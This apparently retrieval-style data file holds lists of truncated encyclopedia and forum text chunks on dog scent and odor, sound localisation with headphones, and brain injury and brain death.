[ "frequently supplement their diet of small animals with whatever fruits happen to be available. Because of dogs' dislike of bitter tastes, various sprays, and gels have been designed to keep dogs from chewing on furniture or other objects. Dogs also have taste buds that are tuned for water, which is something they share with other carnivores but is not found in humans. This taste sense is found at the tip of the dog's tongue, which is the part of the tongue that he curls to lap water. This area responds to water at all times, but when the dog has", "consuming their own feces.\nSome medications, such as antibiotics, taken by mouth or antiseptics or medicated shampoos used on the skin can produce odors that owners may find unpleasant. Likewise, some food ingredients, most noticeably fish meal or fish oil, can produce skin odor in dogs.\nFlatulence can be a problem for some dogs, which may be diet-related or a sign of gastrointestinal disease. This, in fact, may be the most commonly noticed source of odor from dogs fed cereal-based dog foods.\nSkunks and dogs often have aggressive encounters and a dog may be sprayed by a skunk. This results in an", "Dog odor Natural dog odors All natural dog odors are most prominent near the ears and from the paw pads. Dogs naturally produce secretions, the function of which is to produce scents allowing for individual animal recognition by dogs and other species in the scent-marking of territory. \nDogs only produce sweat on areas not covered with fur, such as the nose and paw pads, unlike humans who sweat almost everywhere. However, they do have sweat glands, called apocrine glands, associated with every hair follicle on the body. The exact function of these glands is not known, but they may", "when a dog is frightened. It is thought that this secretion leaves a signal to other dogs allowing them to recognize the source of the individual fecal deposit. This odor is also likely the signal being sampled when strange dogs investigate one another by sniffing out the anal area. Dogs' anal glands can become swollen and unable to drain naturally, sometimes requiring a visit to the veterinarian or groomer to express the built up liquid. Excessive licking and chewing of the area is one indication of this. Typically, these glands are expressed during routine professional grooming as a", "as a kind, pleasant, outgoing and tractable nature. Labradors' sense of smell allows them to home in on almost any scent and follow the path of its origin. They generally stay on the scent until they find it. Navies, military forces and police forces use them as detection dogs to track down smugglers, thieves, terrorists and black marketers. They are known to have a very soft feel to the mouth as a result of being bred to retrieve game such as waterfowl. They are prone to chewing objects (though they can be trained to abandon this behaviour).\n\nLabradors have a reputation", "and outgoing, they make a loving family pet and can be companions to small children, provided adults are nearby to direct this dog's boisterous enthusiasm. These retrievers require plenty of exercise and engagement to help channel their natural sporting energy. The British Kennel Club recommendeds that owners provide dogs with at least 2 hours of exercise a day. While they will protect their owners and property with an assertive bark, they are unlikely to back up such noise with actual aggression. Because of their excellent sense of smell, combined with their boundless energy and eagerness to please their masters, they", "with children. They are mindful and friendly dogs. However, their noses will keep them in trouble, so food and garbage should never be left out unattended. The breed is often mistaken for being aggressive as the breed will \"greet\" strangers with its signature howl and will sniff the subject until satisfied. Usually, this is just the way the breed gets to know its subjects. Since Blueticks are driven by their strong sense of smell, they make excellent hunting/tracking dogs. If allowed, they will tree almost any animal smaller than them. Blueticks are generally easier to handle in the field than", "people and interesting scents for food, attention, and novelty value. In this way, they can often \"vanish\" or otherwise become separated from their owners with little fanfare. As a breed they are highly intelligent and capable of intense single-mindedness and focus if motivated or their interest is caught. Therefore, with the right conditions and stimuli, a bored Labrador could \"turn into an escape artist par excellence\". Many dogs are also stolen. Because of their curious nature and ability to \"vanish,\" along with the risk of being stolen, a number of dog clubs and rescue organisations (including the UK's Kennel Club)", "and identifies the marker as well as the place where the dung is left. Dogs are very particular about these landmarks, and engage in what is to humans a meaningless and complex ritual before defecating. Most dogs start with a careful bout of sniffing of a location, perhaps to erect an exact line or boundary between their territory and another dog's territory. This behavior may also involve a small degree of elevation, such as a rock or fallen branch, to aid scent dispersal. Scratching the ground after defecating is a visual sign pointing to the scent marking. The freshness of", "produce pheromones or chemical signals for communication with other dogs. It is believed that these sweat secretions produce an individual odor signal that is recognizable by other dogs.\nDogs also have sweat glands on their noses. These are eccrine glands. When these glands are active, they leave the nose and paw pads slightly moist and help these specialized skin features maintain their functional properties. The odor associated with dog paw pads is much more noticeable on dogs with moist paw pads than on those with dry pads.\nDogs also have numerous apocrine glands in their external ear canals. In this", "its dog food and introduced IncrediBites, a food in stay-fresh packaging with a smaller kibble size.\nBeneful released a series of posters in Germany designed to attract dogs by releasing the smell of dog food. Following the poster promotion, in 2011, Beneful started airing television ads in Austria that included high pitch noises only dogs could hear to elicit a response from pets. Interactive billboards from Beneful were released in New York in May 2012, allowing people to play virtual fetch in a subway station. The dogs on the billboard can be customized and will follow a passerby to engage them.", "the eyes omitted because dogs have weak eyesight but a sensitive sense of smell. The body of the sculpture tends to be strong and powerful, often with the head held high and even a little arrogant to arouse in audience the urge to whack its head. Due to their high melting points and durability, copper and the occasional stainless steel are mainly used in The Dog's Notes to emphasize eternity. Some of the works are welded with three layers of 99% pure gold foils to further convey the idea of light or extreme positivity. The Dog's Notes further emerges into", "of the lamina. Chemical characteristics All parts of the dog's mercury are highly poisonous. Methylamine (mercurialine) and trimethylamine are thought to be present, together with a volatile basic oil, mercurialine, and saponins. \nThe scent of the plant is often described as 'foetid' due to the presence of trimethylamine which often gives off a rotting fish smell. Mercurialine is thought to be one of the active principle parts that are responsible for the toxicity of the herb. It is known to induce hemorrhagic inflammation of the gastrointestinal tract and kidneys. There is apparently some narcotic action, which induces drowsiness, and", "preventative measure.\nAnother source of natural odor results from a common dog behavior: rolling in and marking themselves with the feces of other animals in their environment. Unnatural sources of odor on pet dogs Poor grooming of dogs with long, thick or corded hair can cause the haircoat to be a source of unpleasant odor. A coat that is not kept clean and groomed can trap dirt and other substances with unpleasant odors.\nSkin diseases can cause a dog to have increased or abnormal odor. Allergy can cause increased production of apocrine sweat, which imparts a musty odor. This condition, termed hyperhidrosis,", "human, strange human, familiar dog, strange dog). While the olfactory bulb/peduncle was activated to a similar degree by all the scents, the caudate was activated maximally to the familiar human. Importantly, the scent of the familiar human was not the handler, meaning that the caudate response differentiated the scent in the absence of the person being present. The caudate activation suggested that not only did the dogs discriminate that scent from the others, they had a positive association with it. Although these signals came from two different people, the humans lived in the same household as the dog and therefore", "have a breed with heavy, floppy ears, which can hide early signs of inflammation.\nDogs, like all Carnivorans, also possess two anal sacs, or scent glands. These sacs communicate with the surface of the skin by ducts which open on either side of the anus. The sacs are lined with apocrine and sebaceous glands. They function to produce a natural secretion that varies from thin and yellowish to pasty and greyish; the secretion has a very strong musky odor. A small amount of this material is deposited when dogs defecate. A large amount may be extruded", "a hidden camera to film cooks beating cats with a wooden stick, dumping them into a fur-removal machine, and then boiling them. The footage included a cook claiming that worse treatment of the cats improved the taste, claiming that \"the blood gets into the meat and tastes delicious\".\nPictures have also circulated featuring two dogs in boiling water in China. It is claimed that this is because some locals prefer the taste of adrenaline-soaked meat. Growing publicity around such incidents, as well as increasing pet ownership, has led to disapproval of the dog and cat meat trade amongst most surveyed Chinese,", "as a bite intention, during which the receiver is never touched or hurt. Only a clashing of the teeth could be heard.\nAside from vocal communication, dingoes communicate, like all domestic dogs, via scent marking specific objects (for example, Spinifex) or places (such as waters, trails, and hunting grounds) using chemical signals from their urine, feces, and scent glands. Males scent mark more frequently than females, especially during the mating season. They also scent rub, whereby a dog rolls its neck, shoulders, or back on something that is usually associated with food or the scent markings of other dogs.\nUnlike wolves, dingoes", "has yet been no experimental data to support this view.\nThe wet nose, or rhinarium, is essential for determining the direction of the air current containing the smell. Cold receptors in the skin are sensitive to the cooling of the skin by evaporation of the moisture by air currents. Taste Dogs have around 1,700 taste buds compared to humans with around 9,000. The sweet taste buds in dogs respond to a chemical called furaneol which is found in many fruits and in tomatoes. It appears that dogs do like this flavor and it probably evolved because in a natural environment dogs", "they are observed caching, they re-cache their food when they are subsequently in private. In a computer modeling study using \"virtual birds\", it was suggested that re-caching is not motivated by a deliberate effort to protect specific caches from pilfering, but by a general motivation to simply cache more. This motivation is brought on by stress, which is affected by the presence and dominance of onlookers, and by unsuccessful recovery attempts. In dogs Domestic dogs (Canis familiaris) show an impressive ability to use the behaviour of humans to find food and toys using behaviours such as pointing and gazing.", "Dogs is its flawless animation, and the dogs all are charming in a loopy kind of way. It's all stuff kids will love, and the education they might get - how to behave in the world and find what's important - is an extra added canine attraction.\"", "as \"barbaric\" on their website due to the physical harming of a cat or any other creature that comes into contact with an electric fence. Dogs Canines are naturally territorial and will keep cats at bay. Crystals A more traditional cat repeller is to use jelly-like crystals containing methyl nonyl ketone, designed to be scattered around the garden, or around the areas the cat likes to foul. These repellents give off a smell that is very unpleasant to the cat, causing it to avoid that place. Citronella Citronella oil, used for repelling insects, can also be used to get rid", "over-powering musky acrid odor that remains apparent in the 'skunked' dog's coat for many days or even weeks until steps are taken to neutralize the odor.", "of their dogs, which can lead to trouble. Some owners are unaware of \"dog language\" and inadvertently read signs of aggression where there are none. Still others ignore warning signs or mistakenly think that a stiff wagging tail means that a dog is friendly.\n\nSome people keep their dogs locked up in a crate during the week, only to unleash their dogs in a dog park on the weekend without proper exercise, creating issues; and still others allow dogs with illnesses or unvaccinated dogs to run alongside healthy dogs. Dogs who are shy or aggressive can learn to interact safely with", "most other canids, male bush dogs lift their hind legs when urinating. However, female bush dogs use a kind of handstand posture, which is less common in other canids. When male bush dogs urinate, they create a spray instead of a stream.\nBoth male and female maned wolves use their urine to communicate, e.g. mark their hunting paths or places where they have buried hunted prey. The urine has a very distinctive smell, which some people liken to hops or cannabis. The responsible substance is very likely a pyrazine, which occurs in both plants. (At the Rotterdam Zoo, this smell once", "also lacks the unpleasant \"big-dog\" smell that affects many large breeds. The coat, whatever its length or color(s), should shed dirt and odors. Although the dogs shed somewhat throughout the year, there is generally one great \"molt\" in late winter or early spring and sometimes another, lesser molt in the late summer or early fall. (Sterilization of the dog may dramatically affect the coat as to texture, density, and shedding pattern.) Temperament Of the few dogs that have made it to the West, the temperament can best be described as generally relaxed, affectionate and peaceful, but are also very", "Dogs (and wolves) not only use urine but also their stools to mark their territories. The anal gland of canines give a particular signature to fecal deposits and identifies the marker as well as the place where the dung is left. A small degree of elevation may be sought, such as a rock or fallen branch, to aid scent dispersal. Scratching the ground after defecating is a visual sign pointing to the scent marking.", "demonstrated using an olfactometer which was loaded alternately with clean and smelly socks.\nDogs are strongly attracted to the scent of socks that have been worn by humans. They may self-medicate themselves during attacks of separation anxiety by focusing on these items. The attraction is used in dog training, where the odorous socks may serve as a distractant or as a lure during crate training. Animal repelling Smelly socks have been used to repel deer. Benefits include they are cheap and accessible, require little effort to put out each morning, and are quite effective at keeping deer out of your", "smell of any dog. In the 1950s, John Paul Scott and John Fuller began a 13-year study of canine behavior. As part of this research, they tested the scenting abilities of various breeds by putting a mouse in a one-acre field and timing how long it took the dogs to find it. The beagles found it in less than a minute, while Fox Terriers took 15 minutes and Scottish Terriers failed to find it at all. Beagles are better at ground-scenting (following a trail on the ground) than they are at air-scenting, and for this reason they have been excluded", "use urine (combined with preputial gland secretions) to mark their territories. Many species of canids, including hoary foxes, cape foxes, and golden jackals, use a raised-leg posture when urinating. The scent of their urine is usually strongest in the winter, before the mating season.\nDomestic dogs mark their territories by urinating on vertical surfaces (usually at nose level), sometimes marking over the urine of other dogs. When one dog marks over another dog's urine, this is known as \"counter-marking\" or \"overmarking\". Male dogs urine-mark more frequently than female dogs, typically beginning after the onset of sexual maturity. Male dogs, as well" ]

[ "I don't understand it myself, but it's quite interesting. When I do a little amateur production on tracks I mix, if you stick two of the same audio (like a guitar,) panned far left and right, it will still just sound like it's coming basically from the centre or surrounding you. If you change the pitch of one slightly, or use a different take of the guitar playing the same thing, it will split the sound and will sound as two coming from either speaker.", "Surround sound is a function of the timing of the sound. There is a delay in certain channels that allow one sound to come to your ear slightly later than another sound. It's literally milliseconds difference but enough for your brain to perceive it being at a certain angle from your body.", "It's just the way we hear things. We only have two ears, our brain combines and compares the information from both of them to determine where a sound is coming from." ]

[ "create the phase difference the brain uses to locate direction. Through most headphones, because the right and left channels do not combine in this manner, the illusion of the phantom center can be perceived as lost. Hard panned sounds are also heard only in one ear rather than from one side.\nBinaural recordings use a different microphone technique to encode direction directly as phase, with very little amplitude difference below 2 kHz, often using a dummy head. They can produce a surprisingly lifelike spatial impression through headphones. Commercial recordings almost always use stereo recording, rather than binaural, because loudspeaker listening is more", "to one side of the head will have a higher intensity, or be louder, at the ear nearest the sound source. One can therefore create the illusion of a sound source emanating from one side of the head merely by adjusting the relative level of the sounds that are fed to two separated speakers or headphones. This is the basis of the commonly used pan control.\nInteraural Phase Difference (IPD) refers to the difference in the phase of a wave that reaches each ear, and is dependent on the frequency of the sound wave and the interaural time differences (ITD).\nOnce the", "the sound coming from both speakers. By distinction, when listening to sound through headphones, the sound from the left earpiece is audible only to the left ear, and the sound from the right ear piece is audible only to the right ear. When producing binaural media, the sound source is recorded by two separate microphones, placed at a distance comparable to that between two ears, and they are not mixed, but remain separate on the final medium, whether video or audio.\nListening to a binaural recording through headphones simulates the binaural hearing by which people listen to live sounds. For the", "no exact definition for the term semi-open headphone. Where the open-back approach has hardly any measure to block sound at the outer side of the diaphragm and the closed-back approach really has a closed chamber at the outer side of the diaphragm, a semi-open headphone can have a chamber to partially block sound while letting some sound through via openings or vents. Earphones Earphones are very small headphones that are fitted directly in the outer ear, facing but not inserted in the ear canal. Earphones are portable and convenient, but many people consider them uncomfortable. They provide hardly any acoustic", "2003, when ISO revised the standard on the basis of recent assessments by research groups worldwide. Side versus frontal presentation Equal-loudness curves derived using headphones are valid only for the special case of what is called side-presentation, which is not how we normally hear. Real-life sounds arrive as planar wavefronts, if from a reasonably distant source. If the source of sound is directly in front of the listener, then both ears receive equal intensity, but at frequencies above about 1 kHz the sound that enters the ear canal is partially reduced by the masking effect of the head, and also highly", "common than headphone listening.\nIt is possible to change the spatial effects of stereo sound on headphones, to better approximate the presentation of speaker reproduction, by using frequency-dependent cross-feed between the channels.\nHeadsets can have ergonomic benefits over traditional telephone handsets. They allow call center agents to maintain better posture without needing to hand-hold a handset or tilt their head sideways to cradle it. Dangers and risks Using headphones at a sufficiently high volume level may cause temporary or permanent hearing impairment or deafness. The headphone volume often has to compete with the background noise, especially in loud places such as subway", "drummers in recording. Supra-aural Supra-aural headphones or on-ear headphones have pads that press against the ears, rather than around them. They were commonly bundled with personal stereos during the 1980s. This type of headphone generally tends to be smaller and lighter than circumaural headphones, resulting in less attenuation of outside noise. Supra-aural headphones can also lead to discomfort due to the pressure on the ear as compared to circumaural headphones that sit around the ear. Comfort may vary due to the earcup material. Open or closed back Both circumaural and supra-aural headphones can be further differentiated by the type of", "It is reported that front/back confusions which are common in static listening tests disappear when listeners are allowed to slightly turn their heads to help them in localization. However, if the sound scene is presented through headphones without compensation for head motion, the scene does not change with the user’s motion, and dynamic cues are absent.\nHead-related transfer functions contain all the descriptors of localization cues such as ITD and IID as well as monaural cues. Every HRTF uniquely represents the transfer of sound from a specific position in 3D space to the ears of a listener. The", "information to the ears, and so binaural cues to a stationary ear do not suffice to identify a sound's location in the median plane. Monaural cues that depend on the shape of the head and the structure of the external ear help with vertical localization, but binaural cues also play a part if the head is not stationary.\nWallach's research showed that when the human head moves (either by tilting or by rotating around a vertical axis), it creates a dynamic pattern of binaural cues that can, when paired with information about the direction and extent of the head movement, enable", "Crossfeed Principle of operation Directional sound perception is based on the delay between the same sound reaching a person's left and right ears. In stereo speakers, the sound from one speaker reaches both ears, although at different levels, and with a delay between one ear and another, since the speaker is placed away from the center. In headphones, this crossfeed does not occur, so the resulting stereo image is different from what is heard from speakers. A crossfeed signal processor attempts to recreate the stereo image heard from speakers by mixing some signal from the left channel into the right", "pushing on the membrane covering the oval window, which separates the middle and inner ear. The inner ear contains the cochlea, the liquid-filled structure containing the hair cells. These cells serve to transform the incoming vibration to electrical signals, which can then be transmitted to the brain.\nThe auditory nerve carries the signal generated by the hair cells away from the inner ear and towards the auditory receiving area in the cortex. The signal then travels through fibers to several subcortical structures and then to the primary auditory receiving area in the temporal lobe Cues for sound locating Humans use several", "directional information.\nThe shadowed ear, the ear further from the sound source, receives sound slightly later (up to approximately 0.7 ms later) than the unshadowed ear, and the timbre, or frequency spectrum, of the shadowed sound wave is different because of the obstruction of the head.\nThe head shadow causes particular difficulty in sound localisation in people suffering from unilateral hearing loss. It is a factor to consider when correcting hearing loss with directional hearing aids.", "and portability. Generally, headphone form factors can be divided into four separate categories: circumaural (over-ear), supra-aural (on-ear), earbud and in-ear. Circumaural Circumaural headphones (sometimes called full size headphones or over-ear headphones) have circular or ellipsoid earpads that encompass the ears. Because these headphones completely surround the ear, circumaural headphones can be designed to fully seal against the head to attenuate external noise. Because of their size, circumaural headphones can be heavy and there are some sets that weigh over 500 grams (1 lb). Ergonomic headband and earpad design is required to reduce discomfort resulting from weight. These are commonly used by", "but when the right ear receives the high tone the left ear receives the low tone, and vice versa. Most listeners hear this sequence as a single tone that repeatedly changes both in pitch and in location. It has been suggested that time limitations contribute to this auditory illusory conjunction but see other explanations in terms of separate 'what' and 'where' pathways. In the scale illusion, the listener is presented via headphones with a scale with alternating tones switching from ear to ear. The scale is presented in both ascending and descending form, such that when a tone form the", "earcups:\nOpen-back headphones have the back of the earcups open. This leaks more sound out of the headphone and also lets more ambient sounds into the headphone, but gives a more natural or speaker-like sound, due to including sounds from the environment.\nClosed-back (or sealed) styles have the back of the earcups closed. They usually block some of the ambient noise. Closed-back headphones usually can produce stronger low frequencies than open-back headphones.\nSemi-open headphones, have a design that can be considered as a compromise between open-back headphones and closed-back headphones. Some believe the term \"semi-open\" is purely there for marketing purposes. There is", "one ear than the other; this occurs when the sound does not arise from directly in front or directly behind the hearer. ILD is processed in the LSO and results from the shadowing effect that is produced at the ear that is farther from the sound source. Outputs from the SOC are targeted to the dorsal nucleus of the lateral lemniscus as well as the IC. Lateral superior olive LSO neurons are excited by inputs from one ear and inhibited by inputs from the other, and are therefore referred to as IE neurons. Excitatory inputs are received at the LSO", "is simply attenuating some frequencies of the ambient noise in the environment, including air flowing within the resonator and sound originating within the human body itself, more than others.\nThe human ear picks up sounds made by the human body as well, including the sounds of blood flowing and muscles acting. These sounds are normally discarded by the brain; however, they become more obvious when louder external sounds are filtered out. This occlusion effect occurs with seashells, cups, or hands held over one's ears, and also with circumaural headphones, whose cups form a seal around the ear, raising the acoustic impedance", "can cause a partial loss of low frequency information, making the resulting sound somewhat \"tinny.\" This negative effect can be heard on any stereo speaker system, but makes headphone listening particularly un-natural sounding. This is because the lead vocalist or performer's audio waveform would be attempting to partially cancel itself inside the listener's head, confusing the brain's audio positioning sense.\nDue to complicated interaction of phase and frequency it is difficult to predict exactly how the reduction from two channels to one will affect the sound of a particular instrument. Therefore mono sound from a true mono mix is", "Ensonido Ensonido is a real-time post processing algorithm that allows users to play back MP3 Surround files in standard headphones.\nEnsonido was developed by the Fraunhofer Society. It simulates the natural reception of surround sound by the human ear, which usually receives tones from surrounding loudspeakers and from reflections and echoes of the listening room. The out-of-head localization achieved that way increases the listening comfort noticeably in contrast to conventional stereo headphone listening with its in-head localization of all sounds. In version 3.0 of the Fraunhofer IIS MP3 Surround Player, Ensonido is replaced with newer mp3HD", "user, virtually, can perceive and locate a sound, as though it is coming from a virtual pinpoint or location.\nOn the top edge are two pairs of buttons: display brightness buttons above the left ear, and volume buttons above the right ear. Adjacent buttons are shaped differently—one concave, one convex—so that the user can distinguish them by touch.\nAt the end of the left arm is a power button and row of five, small individual LED nodes, used to indicate system status, as well as for power management, indicating battery level and setting power/standby mode. A USB 2.0 micro-B receptacle is located", "Headphones as part of a musical performance. The use of the technology allowed the audience to listen to a pre-recorded musical track on the headsets, whilst a live orchestra performed a separate, but related, musical track. This multilayered effect meant that electronic and digitally-edited sounds could be heard in conjunction with live music without the use of loud-speakers for the first time, and that the source of sounds could appear to be close to, far from, or all around the listener.\nBone conduction technology has found many other uses in the corporate world, in particular with technology companies trying to cultivate", "a transducer with a larger surface area to fit within smaller space constraints. This increases the total volume of air that can be moved on each excursion of the transducer given that radiating area.\nMagnetostriction headphones, sometimes sold under the label Bonephones, work by vibrating against the side of head, transmitting sound via bone conduction. This is particularly helpful in situations where the ears must be unobstructed, or for people who are deaf for reasons that don't affect the nervous apparatus of hearing. Magnetostriction headphones though, are limited in their fidelity compared to conventional headphones that rely on the normal workings", "sound is transmitted to the inner ear by the stapes (stirrup) bone of the middle ear. This is pressed against the oval window, a membrane-covered opening on the surface of the vestibule. From here, sound waves are conducted through a short perilymphatic duct to a second opening, the round window, which equalizes pressure, allowing the incompressible fluid to move freely. Running parallel with the perilymphatic duct is a separate blind-ending duct, the lagena, filled with endolymph. The lagena is separated from the perilymphatic duct by a basilar membrane, and contains the sensory hair cells that finally translate the vibrations in", "travels about 4.5 times faster in water than in air, and at a similarly higher speed in body tissues, and therefore the interval between a sound reaching the left and right inner ears is much smaller than in air, and the brain is less able to discriminate the interval which is how direction of a sound source is identified. Some sound localisation is possible, though difficult.\nThis bypassing of the middle ear also affects the frequency sensitivity of the ear. Sound is also reflected in proportion to the change of density or elasticity (mismatch of acoustic impedance) when passing through", "at the ears are not the stereo microphone signals which are coming from the loudspeakers, and are called \"interchannel\" signals (Δ L and Δ t). These signals are normally not mixed. Loudspeaker signals are different from the sound arriving at the ear. See the article \"Binaural recording for earphones\". X-Y technique: intensity stereophony Here there are two directional microphones at the same place, and typically placed at 90° or more to each other. A stereo effect is achieved through differences in sound pressure level between two microphones. Due to the lack of differences in time-of-arrival and phase ambiguities, the sonic characteristic of", "down on the hair cells and stimulation is minimal. When the head is tilted, however, the otolithic membrane sags and bends the stereocilia, stimulating the hair cells. Any orientation of the head causes a combination of stimulation to the utricles and saccules of the two ears. The brain interprets head orientation by comparing these inputs to each other and to other input from the eyes and stretch receptors in the neck, thereby detecting whether the head is tilted or the entire body is tipping. Essentially, these otolithic organs sense how quickly you are accelerating forward or backward, left or right,", "and stapedius, also help modulate noise. The two muscles reflexively contract to dampen excessive vibrations. Vibration of the oval window causes vibration of the endolymph within the vestibule and the cochlea.\nThe inner ear houses the apparatus necessary to change the vibrations transmitted from the outside world via the middle ear into signals passed along the vestibulocochlear nerve to the brain. The hollow channels of the inner ear are filled with liquid, and contain a sensory epithelium that is studded with hair cells. The microscopic \"hairs\" of these cells are structural protein filaments that project out into the fluid. The hair", "because that’s what I can hear. When I walk into a theater, I always sit just off to the left so I can hear more with my good ear. It’s funny, though, my wife still talks into my left ear. When I go to sleep with my right ear to the pillow, I can’t hear anything. It’s like having an earplug. So, if someone is talking to me and I don’t care what they’re saying, I can just sit with my left ear to them.\"", "the earpiece, with a tube carrying sound to the microphone.\nMost external microphone designs are of either omnidirectional or noise-canceling type. Noise-canceling microphone headsets use a bi-directional microphone as elements. A bi-directional microphone's receptive field has two angles only. Its receptive field is limited to only the front and the direct opposite back of the microphone. This creates an \"8\" shape field, and this design is the best method for picking up sound only from a close proximity of the user, while not picking up most surrounding noises.\nOmni-directional microphones pick up the complete 360-degree field, which may include much extraneous noise.", "to other speakers when story action and direction require it, such as when the person talking is off-screen, but it is rare that there is vocal content that is completely absent from the center channel.\nIn material without accompanying visuals (e.g. music), the center channel simply reproduces sound intended to come from immediately in front of the listener, which usually includes the lead vocals, which are rarely panned hard left or right. \nThe center channel also anchors the sound field, eliminating phantom images such as those that plagued quadraphonic sound if the speakers were not precisely placed.\nThe center channel eliminates the" ]

[ "This might get locked because it's arguably seeking medical advice, but just in case:\n\nYour brain has all sorts of little regions that do different things. The ones closes to the top of your spinal cord have the most \"primitive\" jobs because they were developed first as we evolved. Our brains grew as we went from apes to cavemen, and the outer and front-most parts grew bigger because they had more complex jobs to do. So things like social skills and mathematical processing occur in the front parts of our brains.\n\nWhat's happened here is you've lost a little bit of one of those specialist areas of your brain that handles \"judgement\", and that area used to help you make decisions that were more well thought out. A person without any judgement might, for example, tell the marine's wife \"Hey, you're ugly\", or take a five dollar bet that they can light a firecracker in their mouth. It's a little like being drunk.\n\nDuring your accident that area in your brain lost its bloodflow and the tissues there died due to lack of oxygen, so it could be that you don't have that little warning voice in your head as strongly because the part that provides it was turned off. \n\nUntil and unless your brain compensates by taking that function over with a different part - something called 'neuroplasticity' that you might want to read up on - you might be inclined to make a few less sensible decisions. \n\nAnd some advice: **If you didn't hear or understand what the doctor told you, the best thing you can do is go back to them and ask what the likely impacts are. Don't ask us Reddit yahoos, ask the professional that was involved, and make sure you understand what they're telling you or get them to explain it again.**" ]

[ "his brain, causing his death.", "confused. Criteria for brain death differ from country to country. However, the clinical assessments are the same and require the loss of all brainstem reflexes and the demonstration of continuing apnea in a persistently comatose patient (< 4 weeks). \nFunctional imaging using PET or CT scans, typically show a hollow skull phenomenon. This confirms the absence of neuronal function in the whole brain.\nPatients classified as brain dead are legally dead and can qualify as organ donors, in which their organs are surgically removed and prepared for a particular recipient.\nBrain death is one of the deciding factors when pronouncing a trauma", "that a person is dead when consciousness and the ability to breathe are permanently lost, regardless of continuing life in the body and parts of the brain, and that death of the brainstem alone is sufficient to produce this state.\nThis concept of brainstem death is also accepted as grounds for pronouncing death for legal purposes in India and Trinidad & Tobago. Elsewhere in the world the concept upon which the certification of death on neurological grounds is based is that of permanent cessation of all function in all parts of the brain—whole brain death—with which the British concept should not", "of a structure such as a tumour in the body. This is in contrast to the stroma, which refers to the structural tissue of organs or of structures, namely, the connective tissues. Brain parenchyma The brain parenchyma refers to the functional tissue in the brain that is made up of the two types of brain cell, neurons and glial cells. Damage or trauma to the brain parenchyma often results in a loss of cognitive ability or even death. Bleeding into the parenchyma is known as an intraparenchymal hemorrhage. Lung parenchyma Lung parenchyma is the substance of the lung outside of", "signs of decay other than the presence of a few bacterial spores. One of the fragments clearly showed the neural folds of a cerebral lobe.\nDiscovery of such a well-preserved brain is all the more remarkable, considering the fragility of all human brains following death. Even when placed in a chilled environment in a mortuary, brains quickly dissolve into liquid. The high fat content of the brain means that it is usually the first major organ to deteriorate. The brains of the crew of the American Civil War submarine H. L. Hunley were recovered along with their skeletonised bodies in 2000, and", "as human beings. The distinction should be made that \"brain death\" cannot be equated with one who is in a vegetative state or coma, in that the former situation describes a state that is beyond recovery.\nThose people maintaining that only the neo-cortex of the brain is necessary for consciousness sometimes argue that only electrical activity should be considered when defining death. Eventually it is possible that the criterion for death will be the permanent and irreversible loss of cognitive function, as evidenced by the death of the cerebral cortex. All hope of recovering human thought and personality is then gone", "the brain lining, clusters of dead cells and tissue, and largely increased amounts of macrophages and lymphocytes.\nThe progressive form is the most common case. Patients initially experience acute-like symptoms which are not as severe, and subside within a few weeks. Following the sub-acute phase, the patients experience a few mild symptoms including some behavioral changes, incoordination, and difficulty in speech. Eventually the disease developed fully and those infected were stricken with the characteristic symptoms of rigidity, slurred speech, and deterioration of cognitive functions. Ultimately, brain function depreciates rapidly resulting in death.\nMany patients who undergo the chronic form claim never to", "substantial periods of time. These patients maintained the ability to sustain circulation and respiration, control temperature, excrete wastes, heal wounds, fight infections and, most dramatically, to gestate fetuses (in the case of pregnant \"brain-dead\" women).\"\nWhile \"brain death\" is viewed as problematic by some scholars, there are certainly proponents of it that believe this definition of death is the most reasonable for distinguishing life from death. The reasoning behind the support for this definition is that brain death has a set of criteria that is reliable and reproducible. Also, the brain is crucial in determining our identity or who we are", "protocol for diagnosing someone as brain dead due to widespread disinformation and misinformation on the internet. \nThe American Academy of Neurology created a prerequisite and neurological clinical assessment to be used as guidelines for determining brain death published in 2010. To be considered for brain death the body must have a determinant cause of coma, have normal systolic blood pressure, and pass two neurological tests. These neurological assessments commonly consist of an apnea test, reflex tests where the body is manipulated or exposed to a stimulus and does not react, or be in a coma where there is complete unresponsiveness.", "location in the brainstem and its many important roles in the autonomic nervous system, damage to the medulla oblongata is usually fatal.", "Usually brain damage or later brain death results after longer intervals of clinical death even if the heart is restarted and blood circulation is successfully restored. Brain injury is therefore the chief limiting factor for recovery from clinical death.\nAlthough loss of function is almost immediate, there is no specific duration of clinical death at which the non-functioning brain clearly dies. The most vulnerable cells in the brain, CA1 neurons of the hippocampus, are fatally injured by as little as 10 minutes without oxygen. However, the injured cells do not actually die until hours after resuscitation. This delayed death", "and a \"resilient, tofu-like texture.\"\nThirdly, the human body tends to decay from the inside out, consumed by a post-mortem swarm of bacteria from the gut which spread around the body via blood from the alimentary tract. In this particular case, the head was severed from the alimentary tract and drained of blood, so the intestinal bacteria did not have an opportunity to contaminate it. The precise mechanism by which the Heslington brain was preserved is unclear, however; in a bid to shed light on this question, researchers buried a number of pigs' heads in and around the campus to see", "Brainstem death Brainstem death is a clinical syndrome defined by the absence of reflexes with pathways through the brainstem—the \"stalk\" of the brain, which connects the spinal cord to the mid-brain, cerebellum and cerebral hemispheres—in a deeply comatose, ventilator-dependent patient.\nIdentification of this state carries a very grave prognosis for survival; cessation of heartbeat often occurs within a few days although it may continue for weeks if intensive support is maintained.\nIn the United Kingdom, the formal diagnosis of brainstem death by the procedure laid down in the official Code of Practice permits the diagnosis and certification of death on the premise", "forms of trauma a large percentage of the people killed by brain trauma do not die right away but rather days to weeks after the event. In addition, rather than improving after being hospitalized as most patients with other types of injuries do, about 40% of people with TBI deteriorate. This is often a result of secondary injury, which can damage neurons that were unharmed in the primary injury. It occurs after a variety of brain injury including subarachnoid hemorrhage, stroke, and traumatic brain injury and involves metabolic cascades.\nSecondary injury can result from complications of the injury. These include", "death, it is considered to have confirmatory value. In the UK it is not considered to be of value because any continuing activity it might reveal in parts of the brain above the brain stem is held to be irrelevant to the diagnosis of death on the Code of Practice criteria.\nThe diagnosis of brain death is often required to be highly rigorous, in order to be certain that the condition is irreversible. Legal criteria vary, but in general require neurological examinations by two independent physicians. The exams must show complete and irreversible absence of brain function (brain stem function in", "affect the brainstem, in a condition, called syringobulbia. These fluid-filled cavities can be congenital, acquired or the result of a tumor.\nCriteria for claiming brainstem death in the UK have developed in order to make the decision of when to stop ventilation of somebody who could not otherwise sustain life. These determining factors are that the patient is irreversibly unconscious and incapable of breathing unaided. All other possible causes must be ruled out that might otherwise indicate a temporary condition. The state of irreversible brain damage has to be unequivocal. There are brainstem reflexes that are checked for by two senior", "It was stated that the irreversible cessation of brainstem function will produce this state and \"therefore brainstem death is equivalent to the death of the individual\". Prognosis and management With due regard for the cause of 